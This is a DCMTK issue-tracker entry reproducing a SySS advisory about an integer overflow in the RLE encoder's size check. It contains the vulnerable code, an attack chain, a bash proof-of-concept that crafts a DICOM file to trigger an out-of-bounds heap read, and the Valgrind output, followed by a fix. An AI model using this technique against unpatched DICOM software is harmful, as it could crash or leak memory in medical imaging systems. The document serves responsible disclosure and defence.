DCMTK - Bug #1246

SYSS-2026-049: Integer overflow in RLE encoder size check

2026-07-03 12:42 - Michael Onken

Status:	Resolved	**Start date:**	2026-07-03
Priority:	Normal	**Due date:**	
Assignee:		**% Done:**	0%
Category:		**Estimated time:**	0:00 hour
Target version:			
Module:	dcmdata	**Compiler:**	All
Operating System:	All		

Description

As reported by Matthias Deeg (SySS GmbH):

SYSS-2026-049 — Integer overflow in RLE encoder size check

Field	Value
Advisory ID	SYSS-2026-049
Product	DCMTK (DICOM Toolkit)
Manufacturer	OFFIS e.V. / DCMTK Community
Affected Version(s)	3.7.0
Tested Version(s)	3.7.0
Vulnerability Type	Integer Overflow or Wraparound (CWE-190)
Risk Level	High
Solution Status	Open
Manufacturer Notification	2026-07-02
CVE Reference	Not yet assigned
Author of Advisory	Matthias Deeg, SySS GmbH

Overview

DCMTK is an open-source collection of libraries and applications implementing large parts the DICOM (Digital Imaging and Communications in Medicine) standard. [1]

The RLE (Run-Length Encoded) compression codec encoder is vulnerable to an integer overflow in the expected-size sanity check. An attacker who can supply a crafted DICOM file with attacker-controlled image dimensions can bypass the sanity check and cause the encoder to read beyond the Pixel Data heap allocation.

Vulnerability Details

```
The function DcmRLECodecEncoder::encode() in libsrc/dcrlecce.cc
(lines 186, 215-216, 243, 256-268) performs a sanity check using 32-bit
arithmetic for attacker-controlled dimensions:

  if (numberOfStripes * columns * rows * numberOfFrames > length)
      result = EC_CannotChangeRepresentation;

  const Uint32 bytesPerStripe = columns * rows;
  const Uint32 frameSize = columns * rows * samplesPerPixel * bytesAllocated;

  frameOffset = frameSize * currentFrame;
  pixelPointer = pixelData8 + frameOffset + sampleOffset +
                 bytesAllocated - byte - 1;
```

```
  for (pixel = 0; pixel < bytesPerStripe; ++pixel)
      rleEncoder->add(*pixelPointer);

The sanity check uses 32-bit arithmetic. With Rows=65535, Columns=65535,
BitsAllocated=8, SamplesPerPixel=1, and NumberOfFrames=131073, the
expected byte count wraps to 1, so a two-byte Pixel Data element passes
the check. The encoder then sets bytesPerStripe to 65535 * 65535 and
reads past the two-byte heap allocation almost immediately.

The attack chain is:

  1. Attacker crafts a DICOM file with carefully chosen Rows, Columns,
     and NumberOfFrames values that make the sanity product overflow
     to a small value

  2. The Pixel Data element is set to the small overflowed size

  3. The sanity check passes because the overflowed product is <= length

  4. The encoder enters the stripe loop with the correct (large)
     bytesPerStripe value

  5. The encoder reads beyond the Pixel Data heap allocation
```

Proof of Concept (PoC)

```
The following PoC script demonstrates this security vulnerability.

cat > poc.sh << 'EOPOC'
#!/bin/bash
# Demonstrate the RLE encoder size-check overflow through dcmcrle
# Proof of concept exploit for SYSS-2026-049

set -u

POC_DIR="$(cd "$(dirname "$0")" && pwd)"
WORKDIR="$(mktemp -d /tmp/dcmtk-dcmcrle.XXXXXX)"
INPUT_DUMP="${WORKDIR}/poc.dump"
INPUT_DCM="${WORKDIR}/poc.dcm"
OUTPUT_DCM="${WORKDIR}/poc.rle.dcm"
LOG="${WORKDIR}/dcmcrle.valgrind.log"

cleanup()
{
    rm -rf "${WORKDIR}"
}
trap cleanup EXIT

require_tool()
{
    command -v "$1" >/dev/null 2>&1 || {
        echo "[!] Missing required tool: $1"
        exit 1
    }
}

require_tool dump2dcm
require_tool dcmdump
require_tool dcmcrle
require_tool valgrind
require_tool timeout

cp "${POC_DIR}/exploit_cli.dump" "${INPUT_DUMP}"

echo "[*] RLE encoder expected-size overflow via dcmcrle"
echo "[*] Building crafted DICOM input with dump2dcm"
```

```
dump2dcm "${INPUT_DUMP}" "${INPUT_DCM}" || exit 1

echo "[*] Crafted image parameters:"
dcmdump +P 0028,0008 +P 0028,0010 +P 0028,0011 +P 0028,0002 +P 0028,0100 +P 7fe0,0010 "${INPUT_DCM
}"
echo "[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)"
echo "[*] Running dcmcrle under Valgrind to stop at the first invalid read"

set +e
timeout 20 valgrind --quiet --error-exitcode=99 --exit-on-first-error=yes \
    dcmcrle "${INPUT_DCM}" "${OUTPUT_DCM}" >"${LOG}" 2>&1
RC=$?
set -e

cat "${LOG}"

if [ "${RC}" -eq 99 ] &&
   grep -q "Invalid read of size 1" "${LOG}" &&
   grep -q "DcmRLECodecEncoder::encode" "${LOG}" &&
   grep -q "dcrlecce.cc:268" "${LOG}" &&
   grep -q "0 bytes after a block of size 2" "${LOG}"; then
    echo "[+] SUCCESS: dcmcrle reached the RLE stripe loop and read past the 2-byte Pixel Data buf
fer"
    exit 0
fi

echo "[!] FAILED: expected Valgrind invalid-read evidence was not observed"
echo "[!] Workdir retained for inspection: ${WORKDIR}"
trap - EXIT
exit 1
EOPOC

The exploit causes the RLE encoder to segfault when reading the guard
page, confirming the out-of-bounds read.

./poc.sh
[*] RLE encoder expected-size overflow via dcmcrle
[*] Building crafted DICOM input with dump2dcm
[*] Crafted image parameters:
(0028,0008) IS [2147418111]                                #  10, 1 NumberOfFrames
(0028,0010) US 65535                                       #   2, 1 Rows
(0028,0011) US 2                                           #   2, 1 Columns
(0028,0002) US 1                                           #   2, 1 SamplesPerPixel
(0028,0100) US 8                                           #   2, 1 BitsAllocated
(7fe0,0010) OB 41\42                                       #   2, 1 PixelData
[*] 32-bit sanity product: 1 * 2 * 65535 * 2147418111 == 2 (mod 2^32)
[*] Running dcmcrle under Valgrind to stop at the first invalid read
==53104== Invalid read of size 1
==53104==    at 0x49CB83A: UnknownInlinedFun (dcrleenc.h:103)
==53104==    by 0x49CB83A: DcmRLECodecEncoder::encode(unsigned short const*, unsigned int, DcmRepr
esentationParameter const*, DcmPixelSequence*&, DcmCodecParameter const*, DcmStack&, bool&) const
(dcrlecce.cc:268)
==53104==    by 0x49090A8: DcmCodecList::encode(E_TransferSyntax, unsigned short const*, unsigned
int, E_TransferSyntax, DcmRepresentationParameter const*, DcmPixelSequence*&, DcmStack&, bool&) (d
ccodec.cc:625)
==53104==    by 0x49C0C6F: DcmPixelData::encode(DcmXfer const&, DcmRepresentationParameter const*,
 DcmPixelSequence*, DcmXfer const&, DcmRepresentationParameter const*, DcmStack&) (dcpixel.cc:497)
==53104==    by 0x49C0EFF: DcmPixelData::chooseRepresentation(E_TransferSyntax, DcmRepresentationP
arameter const*, DcmStack&) (dcpixel.cc:292)
==53104==    by 0x491921C: DcmDataset::chooseRepresentation(E_TransferSyntax, DcmRepresentationPar
ameter const*) (dcdatset.cc:810)
==53104==    by 0x40044D2: main (dcmcrle.cc:295)
==53104==  Address 0x5dbe8b2 is 0 bytes after a block of size 2 alloc'd
==53104==    at 0x4856168: operator new[](unsigned long, std::nothrow_t const&) (vg_replace_malloc
.c:850)
==53104==    by 0x495ACA7: DcmElement::newValueField() (dcelem.cc:708)
==53104==    by 0x4959E7B: DcmElement::loadValue(DcmInputStream*) (dcelem.cc:613)
```

```
==53104==    by 0x495C141: DcmElement::read(DcmInputStream&, E_TransferSyntax, E_GrpLenEncoding, u
nsigned int) (dcelem.cc:1168)
==53104==    by 0x49F7F07: DcmPolymorphOBOW::read(DcmInputStream&, E_TransferSyntax, E_GrpLenEncod
ing, unsigned int) (dcvrpobw.cc:289)
==53104==    by 0x49C156D: DcmPixelData::read(DcmInputStream&, E_TransferSyntax, E_GrpLenEncoding,
 unsigned int) (dcpixel.cc:890)
==53104==    by 0x4983B6E: DcmItem::readSubElement(DcmInputStream&, DcmTag&, unsigned int, E_Trans
ferSyntax, E_GrpLenEncoding, unsigned int) (dcitem.cc:1302)
==53104==    by 0x4989F88: DcmItem::readUntilTag(DcmInputStream&, E_TransferSyntax, E_GrpLenEncodi
ng, unsigned int, DcmTagKey const&) (dcitem.cc:1479)
==53104==    by 0x4916ADD: DcmDataset::readUntilTag(DcmInputStream&, E_TransferSyntax, E_GrpLenEnc
oding, unsigned int, DcmTagKey const&) (dcdatset.cc:437)
==53104==    by 0x49801FF: DcmFileFormat::readUntilTag(DcmInputStream&, E_TransferSyntax, E_GrpLen
Encoding, unsigned int, DcmTagKey const&) (dcfilefo.cc:786)
==53104==    by 0x497D428: DcmFileFormat::loadFileUntilTag(OFFilename const&, E_TransferSyntax, E_
GrpLenEncoding, unsigned int, E_FileReadMode, DcmTagKey const&) (dcfilefo.cc:989)
==53104==    by 0x497D6FD: DcmFileFormat::loadFile(OFFilename const&, E_TransferSyntax, E_GrpLenEn
coding, unsigned int, E_FileReadMode) (dcfilefo.cc:922)
==53104==
==53104==
==53104== Exit program on first error (--exit-on-first-error=yes)
[+] SUCCESS: dcmcrle reached the RLE stripe loop and read past the 2-byte Pixel Data buffer
```

Solution

Compute expected pixel data sizes in uint64_t/size_t with checked multiplication, and reject any expected frame or total image size that exceeds the 32-bit DICOM value length or the actual Pixel Data length before entering the encode loops.

Disclosure Timeline

```
2026-07-02: Vulnerability reported to manufacturer
```

References

- DCMTK project website https://dcmtk.org/en/
- SySS Security Advisory SYSS-2026-049 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-049.txt
- SySS GmbH, SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy

Credits

```
This security vulnerability was found by Matthias Deeg of SySS GmbH with
the assistance of SySS AI.

E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
```

Disclaimer

Copyright

History

#1 - 2026-07-03 14:32 - Michael Onken

- Status changed from New to Resolved

Fixed with commit 7e9a836672baad9e3b03fcde160d5e16de681bd5